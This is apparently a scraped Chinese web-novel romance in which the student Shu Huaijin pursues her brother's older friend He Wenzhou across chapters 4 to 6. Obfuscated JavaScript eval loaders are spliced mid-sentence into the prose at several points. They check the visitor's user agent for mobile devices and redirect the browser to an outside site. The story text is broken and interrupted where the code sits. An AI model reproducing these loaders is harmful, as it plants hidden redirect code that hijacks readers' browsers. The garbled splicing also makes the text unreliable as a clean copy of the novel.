舒怀瑾原本也属于闲杂人等,碍于她先前喊的那声贺叔叔,贺问洲没否认,众人也就不敢妄加揣测,没人过来找她的茬。因此,她留了下来。 贺问洲站在原地,见舒怀瑾对魏然做了个鬼脸,眉梢的郁结散了不少。 舒宴清这妹妹,到底树了多少敌? 小姑娘战斗力还挺强,不像是能让自己受委屈的人。 难得碰到这么好的机会,舒怀瑾上前几步,对上贺问洲审视的目光,‘问洲哥’三个字卡在嗓子眼,转而恭敬地唤了一声,“贺先生。” 贺问洲掀了掀眼皮,磁沉的音调含着几分难得的揶揄:“怎么不喊贺叔叔了?” 舒怀瑾眼睫轻颤,“那是特殊情况。” 奇了怪了,她今天撞见他,有种老鼠见了猫的莫名心虚感。舒怀瑾抿紧唇线,灵动的眼瞳转动,思忖着哪种开场白更容易攻略他。 看贺问洲这架势,太直白主动的肯定不行。魏然就是最好的例子。 贺问洲看向她背着的小提琴包,联想到她在台上被人刁难的事,须臾的沉默里,漫不经心地开口:“你哥不给你零花钱?” “啊?”舒怀瑾还在脑子里编织拿下贺问洲的三十六计,思绪骤然被打断,眼眸浮出一片茫然。 贺问洲大概并不擅长给人台阶,见她怔懵,也没有更进一步的解释。 舒怀瑾脑子转得快,摸了把琴包开始卖惨,“最近在给游戏氪金,拉满特效还挺贵的,钱花光了不好意思找爸妈和我哥要,只好自力更生。” 贺问洲未置可否。 “贺……贺叔叔。”她话锋一转,“我能坐你的车回学校吗?太晚了,我一个人打车不安全, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626955|172416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且打车费也好贵。” 她那点把戏,贺问洲只一眼便心知肚明。 他敛眉,很轻地笑了声,“坐我的车就安全了?” “……” 一阵见血地拆穿了舒怀瑾的心思。不过她也不是脸皮薄的人,莞唇挤出酒窝,笑得一派天真,“你跟别人不一样,我相信你的正人君子。再者,我都叫你贺叔叔了,你总不能不帮晚辈的忙吧?” 舒怀瑾同他所见过的人不同,想法天马行空,就算能预判到表面的逻辑,也永远无法猜到她下一步能偏离到哪里去。初见时,她对他的渴望全都明明白白地写在了脸上,也因此分外抗拒贺叔叔这个称呼,现在倒好,称呼成了她的令箭。 贺问洲要是再刻意保持距离,则显得是他心思龌龊。 毕竟,人家只把他这个大十一岁的兄长当长辈。 “贺叔叔。”舒怀瑾还在软磨硬泡,“放心,我很懂分寸的,上车秒睡觉,下车绝不多耽搁一分钟。” 贺问洲哪是这么容易中计的人,先前那少年凶戾的眼神还历历在目,能信她的鬼话,上半辈子白活了。 “让你朋友送吧,我看他应该很热心,不会拒绝你的请求。” 他语气温和,听不出丝毫不虞的情绪。舒怀瑾也因此确定,贺问洲是个内核相当强大的人,好像一点也在意刚才的冒犯。与此同时,也对她没有半点意思。 程煜是什么人,公认的校草,长相、气质、身材拎出去当爱豆都不为过。 最主要的是,年轻、鲜活。 舒怀瑾压下乱七八糟的想法,迎上他的眼:“我不想和他待一块。” 贺问洲笑:“怎么?” “废话太多,听久了耳朵疼。” 他疏懒一笑,似是被这个年纪的直白不加掩饰所打动,没再多言。舒怀瑾乖乖跟上。贺问洲将她托付给保镖,让她先上车,他还要同宴会的主人寒暄一番。 舒怀瑾望着三辆一模一样的迈巴赫犯了难。 身侧的保镖相当敬业,中英德法四国语言她都试了个遍,对方也没理她。 她围着车转了一圈,对上车牌号后,果断上了最后一辆车的后排。 贺问洲应付完,矮身上了车,顺势将西服纽扣解开,同副驾上的助理说话,“舒小姐坐的哪辆?” 助理轻咳两声,不等他答话,坐姿端正的舒怀瑾抿唇一笑,“跟你一辆。” 少女娇俏的面容在月色下愈发清凌,“贺先生,你是不是有点近视?我这么大个活人坐你旁边,你居然看不见。” “……” 光线太暗,他也是才注意到身侧属于少女身上的浅淡香气,正在解纽扣的手一顿,就这么岔着搭在腿上,骨节匀称修长,在昏暗光影下,溢出丝丝冷欲感。 贺问洲蹙眉,到底还是没怪罪下来,嘱咐司机启程后,对车里的不速之客道:“怎么选的这辆?” “那天见面的时候,我记住了你的车牌号。” 如果他不是贺问洲,大概率更好追。 贺问洲顿时不知该说些什么,英俊的面容隐在暗影里,良久,才平声道:“记性不错。” “谢谢你的夸奖。” 舒怀瑾一口一个贺叔叔,说话时却将他放在平辈对待,用的都是‘你’而不是‘您’,这种刁钻的细节,得亏她想得出来,贺问洲懒得纠正,随着她去了。 他慢条斯理解下腕表,随手置于储物台面。 而后阖眼浅眠。 有魏然的前车之鉴在先,舒怀瑾今晚不打算要他的联系方式。见他闭眼后,她打量的目光自然愈发放肆地在他脸上游走。 贺问洲这张脸简直是按着舒怀瑾的审美点长的。鼻梁挺拔,五官深邃,浓眉总是似蹙非蹙,给人一种疏离淡漠的感觉,好似不管怎样,都无法打动他的心。 直到这个年纪都没谈过恋爱,大概事实也是如此吧。 舒怀瑾不期望在感情上有太多远见,索性专心地享受当下,欣赏他熟睡的样子。 看着看着,她忽然发现,贺问洲的睫毛好长。 反正前排的司机和助理也不会回头看后排的情况,她朝他的方向凑近,想看得更清楚一些。 在距离他不过咫尺之际时,熟睡的男人蓦然启唇。 “舒小姐,我的忍耐是有限度的。” 4. 暴雪夜 贺问洲冒出来的这句话,唬别人倒是挺有用的,可惜他遇到的是舒怀瑾,主打一个绝不内耗自卑,有事直接发疯。 闻言索性趴在椅背边缘,光明正大地看。 舒怀瑾:“你知道我在偷看你?” 贺问洲揉了下眉心,略微后仰的姿态使得西裤绷着,喉结半隐在浮光掠影中。 他算是发现了,这姑娘软硬不吃。 撞破她的少女心事时,不但没有因此而羞赧,反而成了进阶的利器,让她无往不利。 无奈之下,他只好恢复如常音色,“我对视线的感知比较敏锐,你靠得那么近,我不可能注意不到。” “是不是你们这些大人物都有这种毛病?” 他一时没理解她的脑回路,从喉间吐出半个音节,“嗯?” “正常的社交礼节,往往教导人看着对方的眼睛说话,这样的交流能够体现互相尊重。” 舒怀瑾瞥了眼仍旧在闭目养神的贺问洲,“当然了,礼节并非适用所有人。我去年跟着我哥去见一个领导的时候,他就让我别把头抬得太高。” 见贺问洲没有特别的反应,舒怀瑾接过话茬,“你怎么不问我什么?” 大概是第一次见她话这么密的人,贺问洲面上涌出些许倦怠,没打断,也没应声。 舒怀瑾不喜欢气氛冷场,自顾自地解开悬念,“那中年领导是个地中海,头顶总共凑不齐三搓毛,要是说话的时候看向他,他会觉得你在嘲笑他,当即就能给你甩下脸色来。” 贺问洲侧眸,“规划局的?” “我描述得这么抽象你都能猜出来,好厉害。” 舒怀瑾有心夸赞,贺问洲却敛了神色,淡淡道,“这种闲话最好不要四处乱讲,隔墙有耳,被有心人听到,对你们家的产业不利。” 舒怀瑾平时不怎么爱听舒宴清讲大道理,她的情商主要靠耳濡目染,让她见人说人话,见鬼说鬼话,也能做到,只是在亲近的人面前习惯藏拙。 舒宴清每回教导她的时候,总是一脸严肃,不到三十岁的人,说话却好像板着脸念PPT的老教师。 贺问洲则不同,和他相处,更像是亲切又温和的同龄人。 但是就这点来看,可能需要打个折扣。 果然朋友之间还是具有相似性的。 舒怀瑾抿了下唇线,“这是贺先生的车。” ‘贺先生’、‘贺叔叔’的称呼,她来回切换自如,好似一点也不觉得别扭。 “要是在这说的话传出去,只有两种可能。” 贺问洲徐徐睁眼,深邃轮廓隐在暗处,很淡地笑了一声,“竟然有两种?” 他这人身上的气质太贵重,被他注视时,总有种会被洞穿的无措感,让人无端觉得同他相距甚远,不敢胡乱造次。 刚才和他闲聊时的游刃有余顿时消散不少,舒怀瑾咽下喉咙,“第一种可能,你故意的,好让我哥回家收拾我。” 闻言,贺问洲漫不经心地拨弄着尾戒,“我还不至于和小朋友置气。” 他的声音透着冷磁感,将舒怀瑾一瞬间拉回那个暴雪夜。 刻意强调的小朋友一词,旨在提醒她,他们之间差距太大,因此,向来薄情淡漠的人,才会默许她一而再再而三地越界。 舒怀瑾不希望他将她放在这样的位置,但人与人之间的关系本就特别,初印象再差,也能随着后来的相处转变。 不能急于一时。 “至于第二种。”舒怀瑾压低了声线,少女泛潮的气息裹挟在他耳畔,“贺先生,你身边有内鬼。” 贺问洲本以为她懂分寸,不会骤然越过那条线。 眉心微不可闻地压低几分,但那扰人心神的香气不过须臾便离开。 舒怀瑾安安分分地退回了原处,笑容明艳,酒窝掐在腮颊,看起来就是一派无辜的模样。 就好像,刚才只是错觉。 刚浮出的郁气凝在胸口,贺问洲到底还是没能对她冷脸。 “舒小姐。” 暗藏锋芒的眸子落在她身上,辨不出太多喜怒,“疑人不用,用人不疑。这个道理,我想,舒先生应该教过你?” “……” 难怪人人都说伴君如伴虎,舒怀瑾本来还觉得这个玩笑挺有梗的,哪知他脸色说冷就冷。 连她哥都降级成为了一句客客气气的舒先生。 舒怀瑾后半程相当安静,窝在角落里,一声没多吭。 她整个人侧向窗户边上,看到了室友在群里艾特她的消息。 [茂茂:@井盖的瑾宿管阿姨马上要锁大门了,你今天还回宿舍吗?] 她们整个寝室都是卷王。 一个忙于鼓捣二次元COS的妆发,一个在创业做快递代取,另一个则参加各种竞赛、创新赛,大概率是奔着保研去的。 大家知道舒怀瑾有剧院的兼职,偶尔会住在校外公寓,经常帮她打掩护。 舒怀瑾也会给大家带些小吃回去,一来二去,没入学多久就熟了。 她飞快敲字回应:[不回,明天专业课你们吃什么?我背了包,可以顺便带] 这个点大家估计刚洗漱完躺在床上,消息一条接一条弹出来。 [早八人有得挑?买啥吃啥,好养活] [给她买豆汁↑] [小瑾,请允许我尊称您一声义父(狗头)] [投灌汤包一票,谢谢小瑾么么哒] ‘谢谢小瑾么么哒’被她们三人复制粘贴后,出现了一个小小的[+1]标识,舒怀瑾强迫症犯了,点了那个小按钮。 回了个OK。 她背对着贺问洲在这边一通忙活,愉快地解决了明早不知道吃啥的烦恼。 贺问洲却误以为是他刚才的语气太重,吓到了她。 毕竟是家里宠着长大的小姑娘,从小没听过一句重话,他和舒宴清多年挚交,没少听过舒宴清提起她有多娇气的事。 但他没和这个年纪的女孩子相处过,不知道该怎么哄。 贺问洲揉着眉心,平生头一次犯了难。 直到前排的司机将车停靠在小区大门的喷泉附近,恭声提醒,“贺总,舒小姐,到了。” 舒怀瑾朝窗外看一眼,助理已然撑着伞下了车,为她拉开后排车门。 前几天还是暴雪,今日倒是飘起了阵阵雨丝,还没探头,就被窜入的寒气激得打了个哆嗦。 她顿时还想在车上赖一会儿。 助理询问贺问洲的意见,“贺总,外面下雨了,需要借把伞给舒小姐吗?” 贺问洲颔首。 舒怀瑾腹诽,他真的太冷淡了,像是一块捂不化的石头。 不过肯借伞是好事,意味着下次她就有借口可以还伞了,这么有来有回地折腾,就能在他身边刷存在感。 舒怀瑾想到这里,心情不错,下了车,朝贺问洲客气地道了声谢,迈着轻快的步伐打算离开。 “等等。”贺问洲蓦然叫住她。 舒怀瑾狐疑回眸,站在雨夹雪中。羽绒服底下,一双长腿又细又白,踩着浅高跟,漂亮到让人移不开眼。 不知道她这是什么穿搭,上半身裹得像粽子,下半身仅罩着一层薄薄的丝袜。 贺问洲移开目光,在她透着几分茫然的狐狸眼上停留,沉吟半晌,“刚才没有训斥你的意思,别太放在心上。” 舒怀瑾:“?” 她愣了半晌,后知后觉地反应过来,他这是在向她解释?但她本来就没放在心上啊。 撑伞侯在一侧的助理忍不住瞪大眼睛,对这位舒小姐有了新的认知。放在以前,贺问洲绝不会多管闲事。 平白无故地让人坐上他的车,亲自送回住处,还贴心到给她准备了伞。 这不是天方夜谭是什么? 助理好奇归好奇,仍是很有职业素养地低下头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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舒怀瑾思忖了几秒,给舒宴清发消息:[你猜我今天演出碰见谁了?] 舒宴清秒回:[不猜] [贺问洲!]舒怀瑾知道舒宴清一定会嘱咐贺问洲,有亲哥这层关系,无意识里总会推波助澜,她继续发:[他还夸我,说下次会来剧院参观,看吧,人家都比你有情调] 舒怀瑾甚至可以想象,舒宴清是皱着眉输入接下来这段文字的。 因为他冷冷回复:[收起不该有的心思,小瑾,贺问洲不是你能招惹的人] 她挑了个表情包发过去,便没再回复,静静等待着蝴蝶效应发生。 京北时间22:30,贺问洲回到港湾别墅,接到了舒宴清的电话。 对面单刀直入,“问洲,你今晚是不是见到小瑾了?” 贺问洲走到钢琴边,西装外套还没来得及换,落地窗外雨转暴雪,漫天飞舞。他眉心微挑,“嗯。” “她没说什么奇怪的话吧?” 舒宴清最了解妹妹的个性,头疼,但也没办法,总不能直说,你离她远点,小姑娘想追你。她要是真心追就算了,是不是三分钟热度还不好说,连心都得打个折扣。 于是他叹了口气,对贺问洲道:“要是她有冒犯你的地方,你给我说一声。” 往常直爽的人,此刻却变得犹豫斟酌,贺问洲思绪倒回同她共处的雨夜。 “我知道。”贺问洲仰靠在沙发上,点燃了一支烟,压下心头的浮躁,“跟你一样,当家里小公主对待的,不会轻易动气。” 舒宴清这才放下心来。末了,想起重点,叮嘱道:“对了,她后面要是向你提出要求,最好别答应。小瑾性子倔,谁鸽了她,她能记大半年,见了面都不带理人的。” 旨在暗示贺问洲,快刀斩乱麻的最佳办法。 今日的气温太低了,指腹间的焰火几乎熄灭。 贺问洲索性将零星火点杵灭在白砂石上,若有所思地笑:“这么记仇?” 5. 暴雪夜 [那天真是贺问洲送你回来的?] 舒怀瑾一大早就收到了程煜的消息,揉着惺忪睡眼,忍不住有些佩服他。早不问晚不问,这都过了几天,他还记挂着前几天的事,也太能憋了。 她迅速敲字回复,末了,忍不住泛起舒宴清的朋友圈来。 还是老样子,除了转发官方公众号以及公司的宣传外,没什么新鲜的内容。反倒是在另一位叔叔那看到了他的照片。仔细放大过后,才察觉舒宴清正微微倾身,似是在同身侧的人聊天。从露出来的一双皮鞋及笔直的西裤看,显得沉稳贵气。 再者,这些老狐狸发出来的照片绝不像所展现出的随意。 刻意露出舒宴请的脸,却不敢拍他身侧的人,很显然,对面一定是位高权重之人。 舒怀瑾心底有了猜测,试探着评论道:[赵叔叔,麻烦帮我叮嘱我哥少喝点酒] 那位赵叔没过多久回复:[小舒总和贺总在一块,舒小姐就放心吧(微笑/微笑/微笑)] 看清内容后,舒怀瑾勾起唇,悠闲地哼着调子起床洗漱。拿着手机切回和程煜的聊天框,直白地问:[退一万步讲,你真的没有贺问洲的联系方式嘛?] 见她这么问,程煜反而放下心来:[他特意送你回去,你却连他的微信都没要到,说明人家对你根本没意思,不如及时止损,你在学校里随便找个男生谈恋爱,难道不比贺问洲好?] 舒怀瑾认真思考了下这个问题。 她就喜欢成熟情绪稳定的。 学校里的同龄男生早被她物色过一圈,没碰上能让她感兴趣的颜,更别说再深入考虑内在了。 不过这种喜好程煜肯定不会懂,舒怀瑾懒得和他解释,一边刷牙一边敷衍三连地发了几个悲伤蛙的表情包:[年纪大有年纪大的好处,你不懂] 隔了几秒,程煜不知怎地心软了,推过来一个微信。 [我从我爸的手机里查到的,你加的时候注意点,别出卖我就行] 头像是简约风的一片海,昵称只有一串英文:Hudson,除此之外,个性签名和地区什么都没写。 H,贺?舒怀瑾:[我靠,贺问洲的联系方式?] 程煜:[对] 今天有节选修课,舒怀瑾和室友们都不太想去,不过那位老师喜欢点名,大家只好陆续起床。室友见她洗漱时都要和人聊天,嘴角高高咧起,不知道前几天还无精打采的人怎么转眼有了活力,忍不住打趣,“小瑾最近是不是有情况?抱着手机傻乐。” 舒怀瑾飞速冲洗完泡沫,给程煜连发了好几个红包感谢。 “也许?”舒怀瑾笑,“等追到了请你们吃饭。” 学院里频繁有男生打探舒怀瑾的近况,众人帮她婉拒都已经习惯了,没想到还有人能入得了舒怀瑾的眼,好奇道:“大几的?什么专业,哪种风格的,帅不帅?” 一连串的问题差点将舒怀瑾搞蒙,怕说出贺问洲的年纪会吓到她们,于是留有余地回应。 “还不熟呢,应该是学工科的,具体我也不清楚。风格嘛,比较难形容,温柔雅痞?” 舒怀瑾发现她找不到合适的形容词来概括贺问洲。 说他古板吧,和他聊天又感受不到来自年龄差距的代沟;说他温柔吧,眼神又自带上位者不怒而威的凶戾,说他绅士,偶尔又有些毒舌。 “帅肯定是帅的,毕竟我是颜控、声控、手控,而且你们放心,绝对不会精准扶贫,这是我的底线。” 大家都知道她家里条件很好,是被捧在掌心的大小姐,加上舒怀瑾年纪正好比她们小一轮,平时看起来又一幅不怎么计较的样子,操心的室友们最怕的就是她恋爱脑。 室友们拍拍她的肩膀,鼓励道:“你这么优秀,长得漂亮,家世好,还会拉小提琴,拿下他,迟早的事。” 舒怀瑾隐约记得贺问洲会的乐器也不少,她还真不敢班门弄斧。 她塞了口面包,含糊说:“要是我遇上不知道该怎么办的时候,你们给我当智囊团呗?” “行。”室友郑意答应地爽快,“两方交战,军师先行,到时候集思广益,保准把他拿捏得死死的。” “你们说,对面会不会也请军师团?”众人在舒怀瑾的描述下,理所当然地将对方想象成了同龄人,毕竟现在网络发达,谈恋爱变成整个寝室的事相当常见。 “不好说,主要看小瑾的crush是什么性格。有些人注重隐私,不爱把聊天记录发出去。” “他应该不会找军师。”舒怀瑾说,“人家是高岭之花,万年不动心的大冰山。” 舒怀瑾喝了口牛奶,拎起背包,和郑意下楼去骑电动车。 寝室四个人,一人载一个刚好。 “高岭之花?”郑意笑容神秘,给她支招,“这种白纸很纯情,稍微撩拨几句就容易脸红。” “硬撩啊?”舒怀瑾做了个抹脖子的动作,“我怕他把我拉进永久黑名单。” “不是让你开黄腔。”郑意点了下她的脑袋,“比如你们俩见面的时候,可以刻意制造些心动点,喷好闻的香水,在锁骨和耳廓的位置打腮红,不经意地展现魅力,制造若即若离的肢体接触。” 肢体接触不太可能,香味记忆这招舒怀瑾决定采纳,回家把母上大人的香水柜搬了个空。 舒父正好撞见这一幕,自从女儿大了以后,不让他管,舒父愈发看不清她的心思,此刻更是摸不着头脑,“小瑾,你要这么多香水做什么?” 正在专心挑选香水的舒怀瑾头也不抬,“当然是用啊。一瓶香水好几千,我就只用那么几次,犯不着浪费买新的。” 她挑了一箱子瓶瓶罐罐,抱了下舒母,“谢谢世上最好的妈妈!” “零花钱不够用啦?”舒父宠溺地叹口气,又不敢多问,“刚给你卡里转了三十万,上大学哪哪都需要花钱,有什么想吃的、想用的尽管买就好,我给你的副卡怎么没见你消费?” 舒宴清给舒怀瑾挑了辆代步车,她也不爱开,说跑车在学校里太招摇,还找不到停车位,非要骑个电动车去上课。 电动车多危险啊。可惜女儿长大了,有了自己的思想,他们不好插手太多,只好妥协,每天让她报备平安。 舒怀瑾顺便从家里带了些日用品走,“勤俭节约是美德。” “是是是,那我不念叨你了。”舒父听她讲,见她一路风风火火,有些舍不得,“不留下来吃晚饭?” “晚上剧院还有活动。”舒怀瑾觉得自己每次回家就像是来抢劫的,收下了母上大人嘱咐厨房给她做的蒜香排骨、锅包肉餐盒,“周末再陪你们啊!么么么哒!” 其实她也不确定贺问洲会不会来剧院,更别说哪天来、什么时段来。万一他来的时候她不在,岂不是错过了更进一步的机会。 舒母和舒父无奈嗔笑,“你这孩子。” 末了,吩咐司机:“林叔,待会路上开车慢点。” 连续喷了一个星期不重样的香水,贺问洲依旧没有来剧院。舒怀瑾自己倒是先对香味产生了疲惫抗性。演出临上场前,她喝了半杯冰水,小腹一阵抽痛,月经提前造访,弄脏了裙子,不得已之下,她只好和师姐换了下场次。 对着贺问洲的主页发了会呆,舒怀瑾正犹豫着要不要直球出击的时候,舞蹈团的几位簇拥着路过,话语中提及贺先生几个字。她耳尖,一下子有了精神,蹑手蹑脚地跟过去。 “听说贺先生要给剧院投资三千万,像是来赔罪的……” “赔罪?给魏然吗?不能吧。” “欲迎还拒的戏码你们见得还少?魏然最近尾巴都快翘上天了。” “小道消息别瞎传,这种大人物哪是普通人能攀附得起的,被看上又怎么样,门不当户不对,还不是只有当金丝雀的命。” 舒怀瑾听了会墙角,觉得这小道消息太莫名其妙。正想抹油开溜,小厅内散场后,贺问洲同剧院高层一并步入长廊。他今日穿着休闲,修长之间握着枚手机,屏幕的冷光将他轮廓镀上层柔光,无端多了股矜冷的疏离感。 剧院高层恭敬地邀请他往楼上贵宾招待室走,他淡淡拂手,遣散了欲步步相送的人。 眼见着他抬步要往她这边走,舒怀瑾身后的人必然会发现她的踪迹。错过贺问洲事小,要是不小心掀起剧院腥风血雨的派系争斗就惨了,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他周身气场冷峻,舒怀瑾决定以柔克刚,软言软语的解释,“我今天不是故意放你鸽子的……身体有点不舒服,所以和师姐换了场次。” 贺问洲依旧是那副让人捉摸不透的深沉神色,精准拆穿她的漏洞,徐徐开口,“刚才躲我也是不小心?” 舒怀瑾举起手指,“苍天作证,妈祖在上,我刚才真的没有躲你!我躲的是别人。” 舒家从北边一带迁过来的,同沿海城市相距甚远,更何况舒怀瑾自小在京北长大,应该没有这些信仰才对,贺问洲挑眉,“妈祖?” 少女眼瞳清凌晶亮,“我室友是福城人,信妈祖很正常啦。” 贺问洲:“……” 枉费他比她多活了十一年,贺问洲被她带地偏离了重点,回归至谈话本身。 “舒小姐不用向我道歉,毕竟我们从没约定过什么。” 闻言,舒怀瑾放缓呼吸,盯着他腹诽道,当然没约定过了,成年人之间的暧昧拉扯,哪能明说。 想不到贺问洲还挺腹黑。 心声不能说出口,舒怀瑾学着他一本正经地道,“贺先生说的是,你只是碰巧路过我们剧院,碰巧在演出结束后逗留,然后碰巧遇见我。” 一口气说完这么多,舒怀瑾笑意满盈,“这么说,我们还挺有缘分。” 到底是见过大场面的人,贺问洲脸不红心不跳,“是很巧。” 剧院里开着暖气,舒怀瑾穿着纯白礼服短裙,一双纤直的小腿白到发光。贺问洲想问她冷不冷,又觉得这话过于僭越,超出了作为兄长友人的范畴,直到余光瞥见一抹刺目的红。 他的目光克制,匆匆一瞬便移开,舒怀瑾蓦然意识到她还没来得及换下的裙子上沾了什么,饶是平时再大大咧咧,此刻也有些不好意思,她背过手遮住,“我还有事,下次见。” “等等。”贺问洲蓦然叫住她,脱下西装外套递过去。 舒怀瑾怔在原地,一时间没反应过来。他开窍了?万年铁树开花?殊不知她天马行空的想法落在贺问洲眼里,成了小姑娘被人撞破窘迫的矜持和羞赧。 贺问洲秉持着非礼勿视的原则背过身,磁沉的嗓音放低,“围在腰上挡一挡。” 6. 暴雪夜 羊绒外套残留着贺问洲身体的余温,面料柔软保暖,隐约泛着浅淡的木质香调。以舒怀瑾最近恶补的香水功课来看,应该是木质甘苔调。 带着些许木苔潮湿的深沉气息,看似平和,却又缥缈如雾气,遥不可及。 舒怀瑾忽然庆幸月经突然造访,不然哪能碰到这么好的机会。 贺问洲抬了下眉骨,等她遮住那片污渍后,才启唇道:“女孩子在外要懂得保护自己。” 她用无辜的眼神望向他,“我原本裹了件披肩在腰上的。” 贺问洲看她一眼,不疾不徐:“皇帝的披肩?” “是真的披肩。”舒怀瑾说,“后来不见了,可能是掉在三厅了吧。那边好黑,据说几十年前有人在那上过吊。” 百年剧场是从民国时期保留下来的,建筑风格偏俄罗斯,白天时庄重典雅,夜里一派阴森。 刚才躲人时肾上腺素飙升,什么都不怕。 现在要是让她重返回去拿,她可不敢。 舒怀瑾说到这里止了声,眼巴巴地望向贺问洲。 她生了一张人畜无害的脸,狐狸眼带着介于纯与媚之间的风情,小巧挺翘的鼻尖轻皱,谁看了都得心软。贺问洲之前还不理解舒宴清怎么会被小女孩拿捏,此刻忽然明白了。 这小姑娘就是他和舒宴清的克星。 贺问洲沉默须臾,终究还是妥协,“想让我帮你找回来?” 舒怀瑾见他上道,眼眸弯成月牙形状,“贺叔叔陪我一起,可以吗?” 狡黠的眼神就差把套路两个字写在脸上了,她刚才还说身体不舒服,这会胆子小成这样,贺问洲哪里忍得下心拒绝。 他淡淡颔首,十分无奈的语气,“你带路吧。” 舒怀瑾心安理得地将他的外套栓严实了些,带着他往音乐厅走,一路上,忍不住被他的美色吸引,频频侧眸打量他。贺问洲的忍耐能力似乎异于常人,被她这样打量,依旧从容松弛,好像完全将她当成了空气。 本以为冷淡足以消减她的热情,哪知舒怀瑾是个不走寻常路的,见他并未出声,话也多了起来。 “贺叔叔,你之前有过暧昧对象吗?” 贺问洲皱了下眉,“没有。” 舒怀瑾又问:“那年少时的春心萌动呢?” 年少?那时自身尚且难保,何来精力谈其他。行至高处,过往如何便无人提及,自然没有知道如同人间炼狱般的旧事。贺问洲周身缠绕着一股冷郁之色,淡声说:“也没有。” 确认完这两样后,舒怀瑾问出了自己最后一个介意的问题,“那朦胧好感,说不清道不明的情愫有吗?” 贺问洲的回应依旧简洁,“没有。” 舒怀瑾在心底呐喊了句‘YES’,很好,纯情如白纸就是男人最好的医美。 见她还想换个方式打探其他,贺问洲及时止损,居高临下望着她,“别再问了,从来没有过。” “舒小姐。”他再次唤她,觉得或许是她家里人将她保护得太好,提醒道:“以后不要再问和你年纪相仿的男人这些问题,以免引起不必要的误会。” 舒怀瑾抠字眼的本事一流:“相差十一岁也算年纪相仿的话,那我该叫你问洲哥。” 贺问洲不动声色地揉着眉心,忽然觉得太阳穴发涨,头疼。 舒怀瑾不在意他的沉默,自个找了个台阶下,“我就是好奇心重,随口八卦几句,我跟我朋友都这么聊天啊,有什么说什么呗,没见谁胡思乱想。” 想法刚落地贺问洲就忍不住一嗤,什么台阶,她这是将他往悬崖上逼了半寸。 “至于引起误会,多半是心里有鬼。”她顿了下,“你觉得是什么鬼?” 贺问洲笑了一声,被她指桑骂槐气的。但他还是维持着年长者该有的风度。 “吊死鬼。”他接过话茬,用一招声东击西将小姑娘堵得哑口无言。 舒怀瑾酝酿好的暧昧拉扯氛围一下子全消散了。 行至三号厅门外,贺问洲做势要开灯,舒怀瑾连忙按住他的手。贺问洲身形微滞,旋即恢复如常神色,不做声色地抽离。 舒怀瑾显然没觉得这样的肢体接触有什么问题,摸黑开启了手机电筒,做了个‘嘘’声的手势,“不能开灯,我刚才听墙角差点被发现,还是低调一点好。” 贺问洲失笑,总算知道她先前鬼鬼祟祟的原因,不咸不淡地说,“合着是让我陪你做贼来了。” “吃瓜的事能叫做贼么?”舒怀瑾不以为然,据理力争道,“这叫小心吃得万年瓜,瓜瓜不落,源源不断。” 他觉得自己大概真是碰到了克星,竟荒唐到陪她胡闹。事已至此,闹就闹吧,小朋友能翻起什么风浪。 “行。”贺问洲从善如流,挑了处椅子拉开坐下,长腿交叠,“你慢慢找。” 音乐厅里光线熹微,贺问洲随意坐在那,五官轮廓更显凌厉。 舒怀瑾忍不住再一次感慨,他这样的神颜,不进军娱乐圈真是可惜。从这个角度看,锋利的喉骨分外冷欲,她无端冒出了些坏心思。 不知道他这样的人,做.爱的时候会不会喘。 倘若他仰起脖颈,任由水流漫过流畅的颈线,一定性感得要命。 不过走神半瞬,贺问洲这位冷面冷心的监工就轻扣桌面提醒,“舒怀瑾。” “发什么呆?” 第一次听他完整地唤自己的名字,舒怀瑾的耳朵像是带有自动过滤器,将他话语中的警告意味通通筛走,只觉得那回音混厚的低音炮愈发沉磁,如同在耳边呢喃似的。 好涩。 想再听他念一遍。 舒怀瑾移开视线,磨蹭着去她来过的地方找,蹲下时,脑子里还在循环播放贺问洲的话。 贺问洲指尖烦躁地摸着烟,余光控制不住地落在她身上。 刚才还有活力满满撩拨他的人,此刻蜷缩成一团,像只无家可归的企鹅,背影看起来可怜极了。面对她,他像是屡屡被掐住七寸,折断未点燃的烟,起身朝她走过去。 “舒怀瑾。” 急促的脚步声伴随着男人的声音靠近,舒怀瑾发现苦肉计有用,决定一口气用个爽。兵不厌诈,贺问洲也是如此。 他行至她身后,屈膝半蹲下,“舒怀瑾,怎么了?” 她抱着膝盖,短裙遮住大片白瓷的肌肤,眼神之中闪着脆弱的光。 他心一颤,剧烈地向下坠,“说话。” 舒怀瑾咬着唇,莫名被他这声充斥着强势和掌控属性的语态撩得耳廓酥麻。她张了张唇,总算挤出几滴眼泪,可怜兮兮地望着他。 她一句话没说,贺问洲倒自我反思起来,想他刚才的话对于未经世事的女孩子来说是不是太过冷肃,放低了声,“很疼?疼到没办法说话?” “是就点头,不是就摇头。” 舒怀瑾大着胆子点点头,又怕他看出来自己是装的,很轻的摇了下头。 贺问洲:“既点头又摇头的是什么意思。” 他没有丝毫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 